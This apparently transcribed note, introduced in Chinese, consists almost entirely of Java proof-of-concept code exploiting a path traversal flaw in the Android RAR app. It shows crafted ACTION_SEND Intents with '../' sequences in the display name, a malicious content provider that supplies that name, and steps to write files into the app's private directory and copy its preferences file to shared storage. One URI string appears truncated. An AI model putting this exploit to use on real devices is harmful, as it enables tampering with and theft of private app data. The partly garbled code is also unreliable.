以下是从网页截图中获取到的关键信息关于漏洞的简洁Markdown格式： java // 攻击Intent示例，例如写入文件/data/data/com.rarlab.rar/lulu Intent it = new Intent(Intent.ACTION_SEND); it.setComponent(new ComponentName("com.rarlab.rar","com.rarlab.rar.MainActivity")); it.putExtra(Intent.EXTRA_STREAM,Uri.parse("content://media.evil.contentprovider/" + "?_display_name=../../../../../../../../../../data/data/com.rarlab.rar/lulu")); it.setType("/"); startActivity(it); // 读取文件/data/data/com.rarlab.rar/shared_prefs/com.rarlab.rar_preferences.xml示例 Intent it = new Intent(Intent.ACTION_SEND); it.setComponent(new ComponentName("com.rarlab.rar","com.rarlab.rar.MainActivity")); it.putExtra(Intent.EXTRA_STREAM,Uri.parse("content://com.rarlab.rar.provider/files/data/da" "?displayName=../../../../../../../../../../sdcard/Documents/lulu_dump_ra")); it.setType("/"); startActivity(it); // Evil Provider // Authority:media.evil.contentprovider public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException { File file; file = new File(getContext().getCacheDir(), "ggg"); try (FileOutputStream fos = new FileOutputStream(file)) { fos.write(("Attack@Lu1u").getBytes()); fos.flush(); } catch (IOException e) { throw new RuntimeException(e); } return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); } public Cursor query(@NonNull Uri uri,@Nullable String[] strings,@Nullable String s,@Nullable String s1, @Nullable String s2) { String displayName=uri.getQueryParameter("_display_name"); MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name","_size"}); matrixCursor.addRow(new Object[]{displayName,1000}); return matrixCursor; }